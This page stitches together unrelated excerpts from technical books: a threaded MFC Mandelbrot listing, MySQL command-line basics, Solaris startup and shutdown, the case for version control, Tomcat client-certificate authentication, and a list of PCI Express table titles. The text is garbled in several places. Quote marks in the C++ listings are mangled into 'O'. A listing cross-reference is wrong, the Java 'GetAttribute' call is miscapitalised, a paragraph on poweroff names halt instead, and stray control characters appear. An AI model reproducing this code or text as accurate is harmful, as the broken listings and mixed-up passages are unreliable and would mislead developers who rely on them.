END_MESSAGE_MAP()

// Handler for the Draw menu option
void CManWindow::OnDoDraw()
{
   // clear the window
   CClientDC dc(this);
   CRect r;
   GetClientRect(&r);
   dc.PatBlt(0, 0, r.Width(), r.Height(),
      WHITENESS);
   // Redraw the set
   RunMandel();
}

// Handler for WM_PAINT messages
void CManWindow::OnPaint()
{
   // Do not do anything in response to
   // paint events
   ValidateRect(NULL);
}

// Handler for the Exit menu option
void CManWindow::OnExit()
{
   DestroyWindow();
}

// CManWindow constructor
CManWindow::CManWindow()
{
   WORD x;
   BYTE red=0, green=0, blue=0;

   Create( NULL, ONormal Mandel ExampleO,
     WS_OVERLAPPEDWINDOW,
     CRect(0,0,150,150), NULL, OMainMenuO );
   for (x=0; x<64; x++)
   {
       colors[x] = RGB(red, green, blue);
       if (!(red += 64))
          if (!(green += 64))
             blue += 64;
   }
   colors[63] = RGB(255,255,255);
}

// Initialize the CManApp m_pMainWnd data member
BOOL CManApp::InitInstance()
{
   m_pMainWnd = new CManWindow();
   m_pMainWnd -> ShowWindow( m_nCmdShow );
   m_pMainWnd -> UpdateWindow();

   return TRUE;
}

Listing 6.7 The menus.h file used by Listing 6.6


// menus.h

#define IDM_DODRAW       1001
#define IDM_EXIT   1002

Listing 6.8 The menus.rc resource file used to create the menus for Listing 5.6


// mandel.rc

#include <windows.h>
#include <afxres.h>

#include "menus.h"

MainMenu MENU
{
   POPUP "&File"
  {
      MENUITEM "&Draw", IDM_DODRAW
      MENUITEM "E&xit", IDM_EXIT
  }
}

When you run the code shown in Listing 6.6, you will notice a serious problem with the application. Once the user selects the Draw option from the menu, the user cannot do anything, because the redrawing code prevents the event loop from running. The user cannot use the menu, quit the program, or minimize the program until the redrawing step completes. If the user does happen to click on anything, the event queue stores the clicks and plays them all rapidly once the redraw completes. If the application's window is full-screen and the machine is slow, it may be several minutes before a redraw completes and therefore before the user can do anything with the application.

The situation presented here is common in any program that creates sophisticated displays. For example, a CAD/CAM program may have to extract 10,000 vectors from a database to refresh the screen for a complex drawing. Mapping programs, three-dimensional rendering programs, complex mathematical visualization programs, and others of the sort, all suffer from the same problem.

Threads offer an easy solution to this problem. By placing all redrawing activity in one thread, you allow the user to continue to use the program while redrawing takes place in the background. From the user's standpoint, this is a major improvement over being locked out of the interface. From a programmer's standpoint, the thread solution is significantly easier to work with than the OnIdle capability that MFC provides for solving this problem in non-threaded environments.

Listing 6.9 contains a version of the Mandelbrot program that has a separate thread to handle redrawing. It works just like the code in Listing 6.6, except that the menus will function properly during redrawing. You can use the Exit option to terminate the program even while redrawing is taking place.

Listing 6.9 A multi-threaded version of the Mandelbrot program that uses a thread to handle redrawing


// mandel1.cpp

#include <afxwin.h>
#include "menus.h"

#define NUM_ITERATIONS 64

const double left = -1.0;
const double right = 1.0;
const double top = -1.0;
const double bottom = 1.0;

DWORD colors[64];

typedef struct
{
   double real;
   double imag;
} complex;

typedef struct
{
   WORD height;
   WORD width;
} mandelParams;

// Define the application object class
class CManApp : public CWinApp
{
public:
   virtual BOOL InitInstance();
};

// Define the edit window class
class CManWindow : public CFrameWnd
{
private:
   HANDLE threadHandle;
   mandelParams params;
public:
   CManWindow();
   void RunMandel();
   void SetPix(int x, int y, WORD iter);
   afx_msg void OnPaint();
   afx_msg void OnDoDraw();
   afx_msg void OnExit();
   DECLARE_MESSAGE_MAP()
};

// Create an instance of the application object
CManApp manApp;

// member function used to set pixel colors
// in the window
void CManWindow::SetPix(int x, int y, WORD iter)
{
   CClientDC dc(this);
   dc.SetPixel(x, y, colors[iter]);
}

// the thread function which does the drawing
DWORD MandelThread(mandelParams *params)
{
   double xstep, ystep;
   double x, y;
   int i,j;
   WORD iter;
   complex k;
   complex z;
   double real, imag, spread;

   ystep = (double) (bottom - top) /
      params->height;
   xstep = (double) (right - left) / params->width;
   for (y=top, j=0; y <= bottom; y += ystep, j++)
   {
     for (x=left, i=0; x<=right; x += xstep, i++)
     {
         k.real = x;
         k.imag = y;
         z.real=z.imag=0.0;

         for (iter=0; iter<NUM_ITERATIONS-1;
            iter++)
         {
            real = z.real + k.real;
            imag = z.imag + k.imag;
            z.real = real * real -
               imag * imag;
            z.imag = 2 * real * imag;
            spread = z.real * z.real +
               z.imag * z.imag;
            if (spread > 4.0)
               break;
         }
       ((CManWindow *)manApp.m_pMainWnd)->
          SetPix(i, j, iter);
     }
   }
   return(0);
}

// member function used to instigate
// the drawing thread
void CManWindow::RunMandel()
{
   DWORD threadID;
   CRect r;

   GetClientRect(&r);
   params.height=r.Height();
   params.width=r.Width();

   threadHandle=CreateThread(NULL, 0,
      (LPTHREAD_START_ROUTINE) MandelThread,
      &params, 0, &threadID);
}

// The message map
BEGIN_MESSAGE_MAP(CManWindow, CFrameWnd)
   ON_WM_PAINT()
   ON_COMMAND(IDM_DODRAW, OnDoDraw)
   ON_COMMAND(IDM_EXIT, OnExit)
END_MESSAGE_MAP()

// Handler for the Start/Stop menu option
void CManWindow::OnDoDraw()
{
   DWORD threadStatus;
   BOOL status;

   status = GetExitCodeThread(threadHandle,
      &threadStatus);
   if (threadStatus == STILL_ACTIVE)
   {
      // stop the existing thread
      TerminateThread(threadHandle, 0);
      CloseHandle(threadHandle);
}
   // clear the window
   CClientDC dc(this);
   CRect r;
   GetClientRect(&r);
   dc.PatBlt(0, 0, r.Width(), r.Height(),
      WHITENESS);
   // redraw
   RunMandel();
}

// Handler for WM_PAINT messages
void CManWindow::OnPaint()
{
   ValidateRect(NULL);
}

// Handler for the Exit menu option
void CManWindow::OnExit()
{
   CloseHandle(threadHandle);
   DestroyWindow();
}

// CManWindow constructor
CManWindow::CManWindow()
{
   WORD x;
   BYTE red=0, green=0, blue=0;
  
   Create( NULL, OThreaded Mandel ExampleO,
     WS_OVERLAPPEDWINDOW,
     CRect(0,0,150,150), NULL, OMainMenuO );
   for (x=0; x<64; x++)
   {
     colors[x] = RGB(red, green, blue);
     if (!(red += 64))
        if (!(green += 64))
           blue += 64;
   }
   colors[63] = RGB(255,255,255);
}

// Initialize the CManApp m_pMainWnd data member
BOOL CManApp::InitInstance()
{
   m_pMainWnd = new CManWindow();
   m_pMainWnd -> ShowWindow( m_nCmdShow );
   m_pMainWnd -> UpdateWindow();

   return TRUE;
}

If you compare the code in Listing 6.6 and Listing 6.9, you will find only minor differences. First, the OnDoDraw function in Listing 6.9 must check to see if a redrawing thread is active before it starts a new one. The GetExitCodeThread function is used here, but the WaitForSingleObject function seen in the previous section would work just as well. If the OnDoDraw function finds an active thread, it kills the thread. It then clears the window and calls RunMandel, just as Listing 6.6 does.

The RunMandel function now has two pieces. The first piece, RunMandel itself, sets up a parameter structure and calls CreateThread to start the thread function. The thread function is called MandelThread, and it contains all of the actual redrawing code. The code is not any different from the redrawing code seen in Listing 6.6, except that the threaded version takes its width and height from the parameter structure.

You can see here that the addition of a thread to an MFC program is fairly straightforward. In any application that you create, you can place the redrawing step in the background by following the same pattern seen in this code. It is also easy to place any sort of recalculation code in a thread using the same techniques.

< BACK NEXT >

Section 8.1. MySQL Database

2009-11-13T07:50:00.019-08:00

8.1. MySQL Database

MySQL has its own client interface, allowing you to move data around and change database configuration. Note that you must use a password to log in. Assigning database users allows you to limit access to server tables that have multiple users. Each MySQL server, where tables are grouped together, can host many databases. Normally, a web application has its own proprietary database.

You may have installed MySQL yourself or have access through your ISP. Most ISPs that support PHP also provide a MySQL database for your use. Should you have difficulty, check their support pages or contact them to determine connection details. You'll need to know the following:

The IP address of the database server
The name of the database
The username
The password

If you've installed MySQL on your computer, you'll be able to use the defaults from the installation and the password you specified. This chapter looks at two ways to communicate with MySQL, the command line
and phpMyAdmin, a web-based tool.

8.1.1. Accessing the Database with the Command Line

One way of communicating with MySQL is via the MySQL Command Line Client.
Depending on which operating system you're using, you either need to open a command shell for Windows (type cmd from the Run dialog, as shown in Figure 8-1) or open a terminal session, in Mac OS X and Unix environments.

Figure 8-1. Windows Run dialog

Once you reach the command line, type mysql and press Enter. The syntax for the mysql command is:


mysql -h hostname -u user -p

If you've installed MySQL on your computer, the default username is root. You can omit the hostname flag and value. Enter your password when MySQL displays the "Enter password" prompt.
If the password, username, and hostname are correct, you'll see a banner message like that in Figure 8-2.

Figure 8-2. A successful login to MySQL

Don't let the MySQL command-line interface alarm you; it's not difficult to use.

8.1.1.1. Prompts

At the MySQL prompt, you can enter database commands followed by Enter. There is also a set of commands that MySQL itself interprets. For a list of these commands, type help or \h at the mysql> prompt. Table 8-1 shows some of the prompts you'll see and summarizes what they mean.

Table 8-1. Command prompt meanings
Prompt	Meaning
`mysql>`	Waiting for a command
`->`	Waiting for the next line of a command
`'>`	Waiting for the next line of a string that starts with a single quote
`">`	Waiting for the next line of a string that starts with a double quote

8.1.1.2. Commands

Table 8-2 lists commands
that are available at the MySQL
prompt.

Table 8-2. MySQL client commands
Command	Parameter	Meaning
`quit`		Exit the command-line utility
`use`	Database name	Use a specific database
`show`	`tables` or `databases`	Show lists such as tables or databases available
`describe`	Table name	Describe a table's columns
`status`		Display database version and status
`source`	Filename	Execute commands from a file as a script

These commands allow you to perform tasks such as executing SQL commands that are stored in a script file using the source.

To display the available databases, type:


mysql> SHOW DATABASES;

which returns:


+----------+
| Database |
+----------+
| mysql    |
+----------+
1 rows in set (0.00 sec)

To scroll back though commands you've already entered in MySQL, use the up arrow key.

The default database that is present after an install is called mysql. The mysql database also stores the database user authentication information. Don't delete it! When you started mysql, you didn't specify connection to a particular database. The use command allows you to do this.

To connect to the mysql database, type the following at the MySQL prompt:


USE `mysql`;

This returns:


Database changed

If your ISP supplied a different database name, use that instead of mysql.

System Startup

2009-11-13T07:50:00.017-08:00

System Startup

There are three kinds of boots that administrators should be aware of. In addition to a normal reboot, which is initiated by the command

# shutdown

from a superuser shell, a reconfiguration boot involves reconstructing device information in the /dev and /devices directories, while a recovery boot involves saving and analyzing crash dump files if a system does not respond to commands issued on the console. A reconfiguration boot is commonly undertaken in older SPARC systems when new hard disks are added to the system, although this may not be necessary with newer systems, such as the E450, which have hot-swapping facilities. This kind of boot can be initiated by typing

# boot -r

at the OpenBoot monitor prompt, or by issuing the command

# touch /reconfigure

prior to issuing a shutdown command from a superuser shell. A recovery boot is a rare event on a Solaris system—although hardware failures, kernel module crashes, and incorrect kernel parameters can sometimes result in a hung system. A stack trace is usually provided if a system crash occurs, which can provide vital clues to tracking the source of any system problems using the kernel debugger (kadb).

Although Solaris has eight init states, only five are commonly encountered by administrators during normal operations. The first is run level S, which is a single-user init state used for administrative tasks and the repair of corrupted file systems, using the following command:

# /usr/sbin/fsck

Also encountered are run level 2, where the init state changes to multiuser mode for the first time, with the exception of NFS exported network resources; run level 3, where all users can log in, and all system and NFS network resources are available; run level 6, which halts the operating system and initiates a reboot; and run level 0, during which the operating system is shut down, ensuring it is safe to power down. In older SPARC systems, it is necessary to bring the system down to run level 0 to install new hardware, such as disk drives, peripheral devices, and memory modules. However, newer systems, such as the E450, are able to continue to operate in multiuser init states while disks are hot-swapped into special drive bays. This means that these machines may not have a need to enter - run level 6. Further, uptimes of many months or years are not uncommon.

The Solaris software environment provides a detailed series of run control (rc) scripts to control run level changes. In this section, we will examine each of the control scripts in turn, and highlight the improvements and innovations from the old BSD-style Solaris 1.x control scripts. Each run level has an associated rc script located in the /sbin directory, which is also symbolically linked into the /etc directory: rc0, rc1, rc2, rc3, rc5, rc6, and rcS. /sbin/rc0 is responsible for:

Executing all scripts in /etc/rc0.d, if the directory exists.

Terminating all system services and active processes, initially using /usr/sbin/killall and /usr/sbin/killall 9 for stubborn processes.

Syncing all mounted file systems, using /sbin/sync.

Unmounting all mounted file systems, using /sbin/umountall.

/sbin/rc5 and /sbin/rc6 are just symbolic links to /sbin/rc0, and do not need to be maintained separately, whilst /sbin/rc1 is responsible for executing all scripts in the /etc/rc1.d directory, if it exists. This terminates all system services and active processes, initially using /usr/sbin/killall, and /usr/sbin/killall 9 for stubborn processes. The differences between /etc/rc0 and /etc/rc1 are that the latter brings up the system into single-user mode after shutting down all processes in multiuser mode, and does not unmount any file systems.

In run level 2 state, /sbin/rc2 executes all scripts in the /etc/rc2.d directory, bringing the system into its first multiuser state. Thus, all local file systems listed in /etc/vfstab are mounted, disk quotas and file system logging are switched on if configured, temporary editor files are saved, the /tmp directory is cleared, system accounting is enabled, and many network services are initialized. These services are described in more detail in Table 5-2.

In run level 3 state, /sbin/rc3 executes all scripts in the /etc/rc3.d directory, bringing the system into its final multiuser state. These services are mainly concerned with shared network resources, such as NFS, but Solstice Enterprise Agents and other SNMP-based systems may also be started here. /sbin/rcS executes all scripts in the /sbin/rcS.d directory, to bring the system up to the single-user run level. A minimal network configuration is established if a network can be found; otherwise, an interface error is reported. Essential system file systems (such as /, /usr, and /proc) are mounted if they are available, and the system name is set.

Under Solaris 1.x, there were two main BSD-style control scripts: /etc/rc and /etc/rc.local. Typically, vendor-provided daemons were initialized from /etc/rc, while customized and locally installed daemons were executed from /etc/rc.local. For example, /etc/rc was responsible for mounting file systems, enabling quotas, adding swap space, and starting the Internet super daemon (inetd). Alternatively, /etc/rc.local was responsible for later innovations, such as web servers and authentication services, as well as printer drivers. A general rule of thumb when upgrading legacy systems from Solaris 1.x to Solaris 2.x is to cross-check all of the required services in /etc/rc, and ensure that they are enabled in either /etc/rc1.d or /etc/rc2.d, and to add any local customizations from /etc/rc.local to a System V–style startup script in /etc/rc2.d. Alternatively, shared network resource scripts can be added to /etc/rc3.d.

Tip

Many Solaris 1.x applications will run in binary compatibility mode under Solaris 2.x, but your software vendor should be contacted for the latest versions of third-party software.

To the superuser on the console, the transition between run levels is virtually invisible: most daemons, whether starting in a single-user or multiuser init state, display a status message when starting up, which is echoed to the console. A sample console display during booting will look something like this:

ok boot
Resetting ...
SPARCstation 20 (2 X 390Z50), Keyboard Present
ROM Rev. 2.4, 128 MB memory installed, Serial #6745644
Ethernet address 6:3:10:a:cc:4a HostID 5767686
Boot device: /iommu/sbus/espdma@f,400000/esp@f,800000/sd@1,0
File and args:
SunOS Release 5.9 Version generic [UNIX(R) System V Release 4.0]
Copyright (c) 1983-2002, Sun Microsystems, Inc.
configuring network interfaces: le0.
Hostname: server
The system is coming up. Please wait.
add net default: gateway 10.16.27.1
NIS domainname is subdomain.mydomain.com
starting rpc services: rpcbind keyserv ypbind done.
Setting netmask of le0 to 255.255.0.0
Setting default interface for multicast: add net 224.0.0.0: gateway server
syslog service starting.
Print services started.
volume management starting.
Starting Apache webserver...done.
The system is ready.
server console login:

When booting into single-user mode, there will obviously be fewer messages displayed on the console, as multiuser init state processes are not started. The single-user run level messages will appear as something like this:

ok boot -s
SunOS Release 5.9 Version [UNIX(R) System V Release 4.0]
Copyright (c) 1983-2001, Sun Microsystems, Inc.
configuring network interfaces: le0.
Hostname: server
INIT: SINGLE USER MODE
Type Ctrl-d to proceed with normal startup,
(or give root password for system maintenance):

At this point, the password for the superuser account should be entered (it will not be echoed to the display). Assuming that the correct password is entered, the display will then proceed with another banner and a Bourne shell prompt:

Sun Microsystems Inc. SunOS 5.9 November 2001
#

After maintenance is complete, simply exit the shell by using CTRL-D, and the system will then proceed with a normal multiuser boot.

The /sbin/init daemon is responsible for process control initialization, and is a key component of the booting process. While it is not significant in many day-to-day operations after booting, its configuration for special purposes can be confusing for first-time users. In this section, we will examine the initialization of init using the /etc/inittab file, and explain in detail what each entry means. The primary function of init is to spawn processes, usually daemon processes, from configuration information specified in the file /etc/inittab in ASCII format.

Note

Process spawning always takes place in a specific software context, which is determined by the current run level.

After booting the kernel from the OpenBoot monitor, init reads the system environment variables stored in /etc/default/init (for example, the time zone variable TZ), and sets them for the current run level. init then reads the /etc/inittab file (described more completely in the next section), setting the init level specified in that file by the initdefault entry. In most multiuser systems, this entry will correspond to run level 3, and the entry will look like this:

is:3:initdefault:

If the file /etc/inittab does not exist during booting, the superuser will be asked to manually enter the desired run level for the system. If this event ever occurs unexpectedly for a multiuser system, it is a good strategy to enter single-user mode (by typing s) to perform maintenance on the /etc/inittab file. Another potential problem (which is discussed later) is if /etc/inittab does contain an empty rstate value in the initdefault entry: the system will go to firmware and continuously reboot! If this occurs, exit from the operating system into the OpenBoot monitor by holding down the STOP key, and pressing A. You can now boot directly into single-user mode, and add an appropriate rstate entry to the /etc/inittab file. There are safeguards built into init, however: if the system discovers that any entry in /etc/inittab is respawning rapidly (that is, more than five times per minute), init assumes that a typographical error has been made in the entry, and a warning message is printed on the system console. init will then not respawn the affected entry until at least five minutes has elapsed since the problem was identified.

After entering a multiuser run level for the first time since booting from the OpenBoot monitor, init reads any appropriate boot and bootwait entries in /etc/ inittab. This provides for basic initialization of the operating system, such as mounting file systems, which is generally performed before users may be allowed to operate on the system.

In order to spawn processes specified in /etc/inittab, init reads each entry and determines the process requirements for the commands to be executed. For example, for entries that must be respawned in the future, a child process is created using fork(). After reading all entries and spawning all processes, init simply waits until it receives a signal to change the system’s init state (this explains why init is always visible in the process list). /etc/inittab is always reread at this point to ensure that any modifications to its specified behavior are used. In addition, init can be initialized at any time by passing a special parameter to force rereading of /etc/inittab:

# init q

When init receives a valid request to change run levels, a warning signal is sent to all affected processes, and it waits five seconds before forcibly terminating any processes that do not behave well, and then exits by sending a kill signal. Affected processes are those that will be invalid under the target init state (for example, when going from multiuser to single-user mode, daemons started in multiuser mode will be invalid). Since five seconds may not be sufficient to shut down an entire database server and close all open files, it is best to ensure that such activities precede any change of state that affects the main applications running on your system (for example, by executing the appropriate command in /etc/init.d with the stop parameter).

/sbin/init can only be executed by a superuser, as changes in the system’s init state executed by a normal user could have serious consequences (for example, using init to power down a live server). Thus, it is always wise to ensure that file permissions are correctly set on the /sbin/init binary.

Shutdown

A Solaris system is designed to stay up continuously, with as few disruptions to service through rebooting as possible. This design is facilitated by a number of key high-availability and redundancy features in Solaris, including:

Dual power supplies, where a secondary supply can continue to power the system if the primary power supply fails.

Mirroring of disk data, meaning that the system can generally continue to operate even in the face of multiple disk failure.

Hot-swappable disks, meaning that a faulty disk can be removed and replaced while the system is still online. The new disk can be formatted and used immediately, especially when DiskSuite is used.

The use of domains on E10000 systems, where maintenance performed on one “virtual” host can be performed while a second domain acts in its place.

However, there are a number of situations where a Solaris system must be halted by the superuser, such as:

Performing a reconfiguration boot

Powering down the system

Note that the drvconfig command can be used to recognize most new hardware devices, further reducing the need for rebooting. A number of different commands are available to shut down and halt a system, and which one is used depends on the specific situation at hand. For example, some commands cycle through a series of shutdown scripts that ensure that key applications and services, such as databases, are cleanly shut down. Others are designed to ensure that a system is powered down as rapidly as possible. For example, if a storm strikes out the main power system and you’re only left with a few minutes of battery backup, it might be wise to perform a rapid power down to protect equipment from further damage. We’ll investigate the following commands: init, shutdown, poweroff, halt, and reboot.

Shutting Down the System

The shutdown command is used to change a system’s state, performing a similar function to init as described previously. However, shutdown has several advantages over init, for instance:

A grace period can be specified, so that the system can be shut down at some future time, rather than immediately.

A confirmation message requires the superuser to confirm the shutdown before it proceeds. If an automated shutdown is to be executed at some future time, the confirmation message can be avoided by using the -y option.

Only init states 0, 1, 5, 6, and S can be reached using the shutdown command.

For example, to shut down the system to run level 5 so that the system can be moved, the following command would be used, giving 60 seconds notice:

# shutdown -i 5 -g 60 "System will be powered off for maintenance. LOGOUT NOW."

This will print the following messages at 60 and 30 seconds, respectively:

Shutdown started.   Thu Jun   21  12:00:00 EST  2001
Broadcast Message from root (pts/1) on cassowary Thu Jun   21
  12:00:00 EST  2001...
          The system will be shut down in 1 minute
System will be powered off for maintenance. LOGOUT NOW.
Shutdown started.   Thu Jun   21  12:00:30 EST  2001
Broadcast Message from root (pts/1) on cassowary Thu Jun   21
  12:30:00 EST  2001...
          The system will be shut down in 30 seconds
System will be powered off for maintenance. LOGOUT NOW.

Once the countdown has been completed, the following message will appear:

Do you want to continue? (y or n):

If you type y, the shutdown will proceed. If you type n, the shutdown will be cancelled and the system will remain at the current run level.

Rebooting

The reboot command is used to reboot the system, from the current run level to the default run level, and not to change to any other run level. The reboot command has several options: the -l flag can be used to prevent the recording of the system halt in the system log, which it normally attempts before halting the CPU, while the -n option prevents the refreshing of the superblock, which is performed by default to prevent damage to mounted file systems. The most extreme option is -q, which does not attempt any kind of fancy actions before shutting down.

In addition, reboot accepts the standard parameters passed to the boot command, if they are preceded by two dashes and are placed after the reboot parameters described above on the command line.

For example, to perform a configuration reboot without recording an entry in the system log, the following command could be used:

# reboot -l -- -r

Reconfiguration Boot

Performing a reconfiguration boot involves updating the hardware configuration for the system. If new hardware is added to the system, other than a disk, the system must be brought down to the hardware maintenance state (level 0) before the new device can be inserted. In addition, the system must be notified of a reconfiguration reboot by either booting from the OpenBoot PROM monitor with the command boot -r, or by creating an empty file called reconfigure in the root directory before changing to run level 0. This can be achieved by using the command touch /reconfigure. Be sure to remove the /reconfigure file after the system has been reconfigured if not rebooting!

Powering Down

The poweroff command is used to rapidly shut down the system, and switch off power (like switching to run level 5), without cycling through any intermediate run levels, and executing the kill scripts specified for those run levels. This ensures that a very fast shutdown can be achieved when emergency situations dictate that the system cannot remain live, even with the risk of data loss. For example, if a system is under a denial of service attack and the decision is made to pull the plug on the service, the halt command will do so much faster than init or shutdown. The CPU is halted as quickly as possible, no matter what the run level.

The poweroff command has several options: the -l flag can be used to prevent the recording of the system halt in the system log, which it normally attempts before halting the CPU, while the -n option prevents the refreshing of the superblock, which is performed by default to prevent damage to mounted file systems. The most extreme option is -q, which does not attempt any kind of fancy actions before shutting down.

Halting the System

The halt command is used to rapidly shut down the system, to the OpenBoot PROM monitor, without cycling through any intermediate run levels, and executing the kill scripts specified for those run levels. This ensures that a very fast shutdown can be achieved when emergency situations dictate that the system cannot remain live, even with the risk of data loss. For example, if a system is under a denial of service attack, and the decision is made to pull the plug on the service, halt will do so much faster than init or shutdown. The CPU is halted as quickly as possible, no matter what the run level.

The halt command has several options: the -l flag can be used to prevent the recording of the system halt in the system log, which it normally attempts before halting the CPU, while the -n option prevents the refreshing of the superblock, which is performed by default to prevent damage to mounted file systems. The most extreme option is -q, which does not attempt any kind of fancy actions before halting.

�
�	�

Section 1.2. Why Use It?

2009-11-13T07:50:00.015-08:00

1.2. Why Use It?

You know what version control is; why do you need it? Especially for a small team project, what benefit does a good version control system provide that outweighs the cost of setting up and learning how to use it? Let's look at some of the reasons why version control is critical in any development project, small or large.

1.2.1. Data Integrity

A good version control system helps to protect the integrity of your data. By keeping a revision history, there is no worry that if code is removed in an edit on one day, it will be lost when it is determined a week later to have in fact been necessary.

Having a central project repository can also help with data backup. If developers regularly commit their data to the versioning system, it can be backed up nightly in one chunk and offloaded to backup storage, with few worries that weeks worth of unfinished data will be sitting on a developer's desktop, waiting for the inevitable hard drive failure.

1.2.2. Productivity

By freeing developers from the drudgery of by-hand integration of work, a version control system can greatly increase productivity. As projects grow larger than one or two people, even the most well organized of processes will lose countless man hours toward integrating the work of multiple developers. With a version control system, developers are able to test changes against the latest work of their peers, identifying and fixing conflicts before they become unmanageable. They are also able to experiment more easily, free to branch and modify code without worrying about whether their changes will affect the stability of the main project or the work of others. If an experimental change breaks something, it can quickly and easily be rolled back or compared with the original code to see what changed.

A version control system also protects against productivity lost to re-implemented work, not only by avoiding losses of data that was incorrectly deemed to be unnecessary, but also by making each developer's work readily available to other developers on the project. If developers are able to easily see where the others working on the project are going with their work, they will be less likely to duplicate effort. Even in a well-organized project, it can be easy for two developers working on closely related sections to accidentally implement the same piece of functionality. If all developers regularly commit their work to a repository, this becomes much less likely to happen.

1.2.3. Accountability

In any development process, it is important to know exactly who added each bit of code to a project, as well as when they did it, and who has made modifications since then. This sort of fine-grained accountability is important not only for technical reasons (for example, who to go to if a section needs to be fixed), but also for purposes of legal defense. In recent times, there have been a number of high profile cases, involving both open source and closed source projects, that have hinged around allegations of source code being illegitimately placed into other projects. In light of the potential liability that the maintainers of a project could have in these sorts of cases, having a version control system that makes each contributer accountable for his own contributions seems to be a prudent precaution to take, especially if you are maintaining an open source project, where little may be known about the contributer, and money to fight a legal battle may be tight or nonexistent.

1.2.4. Software Engineering Process Support

Good software (even open source projects) are developed with a software engineering process. By software engineering, I mean the application of disciplined development policies aimed at ensuring that the end product of the process will meet the desired goals in a timely manner, and with the highest possible standards of quality.

A good software engineering process involves a number of different processes and policies, such as good overall project design, peer review of project components, tracking of bugs and other issues, and quality assurance testing. None of these are explicitly supported by most version control systems, but many version control system features (such as hook scripts and logs) can be an important tool in supporting a project's software engineering policies. For example, a version control system (VCS) may be set to automatically e-mail an issue tracking system in order to report a bug fix, or a system could log peer reviews, and through the use of hook scripts, disallow any code that hasn't been peer reviewed to be merged onto the project's main source trunk.

1.2.5. Development Branching

As projects progress over time, branches will naturally occur. Old releases will need to be supported with bug fixes. New projects may be spun off from existing code bases to serve emerging markets. Whatever the reason, branches will happen, and unless the relationship between branches is carefully maintained, they will tend to diverge irreconcilably. Issues that are fixed in one branch will go unfixed in another. Features implemented in a divergent branch will be unusable in the main trunk. In general, keeping even a semblance of consistency between different branches of development will be a maintenance nightmare.

If used in an organized and consistent manner, the branching features built into most version control systems can greatly reduce the headaches associated with maintaining divergent branches of development on a project. By using the commit logs generated by the system, as well as its capability to merge changes from one branch to another, changes that are applicable to multiple branches can be cleanly implemented on a single branch and then applied to the other branches. Similarly, a new feature added to a branch can be migrated to other branches where it may be useful.

1.2.6. Record Keeping

A version control system will help to enforce policies that can ensure a project keeps quality records for later use. In addition to the aforementioned records of who committed each change, repository commit logs are invaluable for storing plain-English descriptions not only of what changes were made in a given commit, but why they were made. In many cases, commit logs can even be verified against certain patterns, to enforce guidelines for logs entries that are in place for the project.

In addition to providing a record of what has gone into each commit, logs kept by a version control system can be used for a variety of applications. For example, they could be used to create a changelog at a release, or to automatically tie into an issue tracking system.

1.2.7. Distribution of Work

In our modern Internet age, life is becoming more and more distributed, and nowhere is this more true than in software development. Open source projects are (almost by definition) developed in a distributed nature, by developers all over the world, but even in the closed source corporate world, distributed development can be a major issue. Regardless of whether a developer is telecommuting from across town or an outsourcing firm in India, distributed development can be difficult to deal with.

Version control can make dealing with distributed development easier, by automating much of the workload of exchanging and merging the work of different developers. As developers work on their projects from remote corners of the globe, the repository makes the latest work of their coworkers readily accessible at any time. Combined with good communication habits, using something like e-mail or instant messaging, distributed development can become almost as painless as being the next cube over.

1.2.8. Rapid Development

Recent software development methodologies have been moving toward rapid, flexible development, with processes like Extreme Programming (XP) and Agile Development being adopted with increasing frequency. These rapid development methods accentuate policies of small incremental change and frequent refactoring, which cry out for version control. By using good version control practices, a project will maintain extremely useful code histories that delineate the many twists and turns rapidly developed code can take. Additionally, the central repository of a version control system is perfect for automating the frequent systems builds called for by an Agile process.

Using Client Certificates for Authentication

2009-11-13T07:50:00.013-08:00

[ Team LiB ]

Using Client Certificates for Authentication

There are at least two ways to use client certificates for authentication, but only one is likely to be supported by most servlet engines. The first way to do certification authentication is to set the authentication method in the <auth-method> tag to CLIENT-CERT. If you're using Tomcat, you can use this method; otherwise you may not be able to. Not all servers support this type of authentication.

After the client has been authenticated, you can access the java.security.Principal object that represents the user by calling getUserPrincipal. If getUserPrincipal returns null, the client isn't authenticated.

Tomcat must be set up to perform SSL client certificate authorization. Consult the documentation for instructions on how to do this. To enable your Web application to use client certificates, you simply need to create a web-xml that looks like this:


<web-app>
   <display-name>My CLIENT-CERT Web Application</display-name>
   <description>An Application that uses CLIENT-CERT for Authentication</description>
   <login-config>
      <auth-method>CLIENT-CERT</auth-method>
      <realm-name>Authenticated Users Only Area</realm-name>
   </login-config>
...

If you aren't working with a server that supports CLIENT-CERT, your second option is to not use the normal authentication mechanism and go back to checking authentication manually, as you did in Hour 12. If you use an SSL-enabled servlet engine such as Tomcat, you might be able to access the client's certificate by accessing the javax.servlet.request.X509Certificate attribute in the request object.

The idea is that you keep a database of valid certificate numbers, and when a user accesses your site, you check the certificate number against the list of valid numbers. If the numbers match, you allow the user in. Because a trusted certificate authority digitally signs the certificates, it is almost impossible to forge a certificate.

Listing 23.10 shows a segment of code that accesses the client's certificate.

Listing 23.10 Code to Access a Client Certificate


    X509Certificate cert = (X509Certificate) request.
        GetAttribute("javax.servlet.request.X509Certificate");

    if (cert != null)
    {
        String serialNumber = cert.getSerialNumber().toString();
        String issuer = cert.getIssuerDN().getName();

// validate the serialNumber/issuer against a valid list here...
    }

The serial number alone is not necessarily unique. The serial number is required to be unique for only a single certificate authority. For extra safety, you should check both the serial number and the name of the certificate issuer to make sure that you have the correct certificate.

[ Team LiB ]

Tables

2009-11-13T07:50:00.011-08:00

[ Team LiB ]

Tables

1 PC Architecture Book Series
1-1 Bus Specifications and Release Dates
1-2 Comparison of Bus Frequency, Bandwidth and Number of Slots
1-3 PCI Express Aggregate Throughput for Various Link Widths
2-1 PCI Express Non-Posted and Posted Transactions
2-2 PCI Express TLP Packet Types
2-3 PCI Express Aggregate Throughput for Various Link Widths
3-1 Ordered Set Types
3-2 Data Link Layer Packet (DLLP) Types
3-3 PCI Express Address Space And Transaction Types
3-4 PCI Express Posted and Non-Posted Transactions
3-5 PCI Express TLP Variants And Routing Options
3-6 TLP Header Type and Format Field Encodings
3-7 Message Request Header Type Field Usage
3-8 Results Of Reading The BAR after Writing All "1s" To It
3-9 Results Of Reading The BAR Pair after Writing All "1s" To Both
3-10 Results Of Reading The IO BAR after Writing All "1s" To It
3-11 6 GB, 64-Bit Prefetchable Base/Limit Register Setup
3-12 2MB, 32-Bit Non-Prefetchable Base/Limit Register Setup
3-13 256 Byte IO Base/Limit Register Setup
4-1 PCI Express Address Space And Transaction Types
4-2 TLP Header Type Field Defines Transaction Variant
4-3 TLP Header Type Field Defines Transaction Variant
4-4 Generic Header Field Summary
4-5 TLP Header Type and Format Field Encodings
4-6 IO Request Header Fields
4-7 4DW Memory Request Header Fields
